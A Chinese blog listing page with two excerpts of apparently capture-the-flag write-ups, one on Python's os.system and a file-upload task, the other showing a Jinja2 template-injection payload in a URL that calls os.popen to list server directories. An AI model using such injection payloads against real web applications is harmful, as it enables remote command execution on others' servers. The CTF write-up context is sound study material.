zap162

摘要： system函数可以将字符串转化成命令在服务器上运行；其原理是每一条system函数执行时，其会创建一个子进程在系统上执行命令行，子进程的执行结果无法影响主进程 os.system方法是os模块最基础的方法，其它的方法一般在该方法基础上封装完成 进去查看源代码直接看见提示 只能提交jpg以及png格 阅读全文

摘要： ...从前写的wp不见了，可能是没保存 首先使用ls查看一下上级目录 /?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}} 直接进入第一个目录 ?flag={{%20 阅读全文